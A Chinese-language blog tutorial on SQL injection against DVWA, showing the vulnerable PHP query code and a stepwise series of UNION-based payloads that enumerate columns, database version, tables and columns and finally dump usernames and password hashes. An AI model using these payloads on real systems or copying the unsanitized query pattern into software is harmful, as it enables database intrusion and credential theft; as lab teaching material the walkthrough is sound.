标签:引号 img database order by mysql echo pass guest column
代码
<?php
if(isset($_GET[‘Submit‘])){
// Retrieve data
$id = $_GET[‘id‘];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘";
$result = mysql_query($getid) or die(‘<pre>‘ . mysql_error() . ‘</pre>‘ );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo ‘<pre>‘;
echo ‘ID: ‘ . $id . ‘<br>名字: ‘ . $first . ‘<br>姓氏: ‘ . $last;
echo ‘</pre>‘;
$i++;
}
}
?>
该代码没有对传入的id进行检测和过滤,且为字符型注入

提交1,搜索

提交单引号,报错

提交1 and 1=1,查询,返回正确

提交1 and 1=2,查询,返回正确

提交1‘and ‘1‘ =‘1,查询,返回正确

提交1‘and ‘1‘ =‘2,查询,无返回

判断为字符型注入
order by查询字段数
1‘ order by 1#,返回正确
1‘ order by 2#,返回正确
1‘ order by 3#,返回错误
有两个字段
爆字段
1‘ union select 1,2#

查询一下数据库版本和当前数据库名
1‘ union select version(),database()#

数据库版本为5.5.40,当前数据库名为dvwa
查询数据库中的表
1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

有guestbook和users两个表
查询users这个表
1‘ union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273#
注:table_name后面跟着是users的Hex值

对user和password的内容进行读取
-1‘ union select user,password from users#

标签:引号 img database order by mysql echo pass guest column
原文地址:http://www.cnblogs.com/sch01ar/p/7899834.html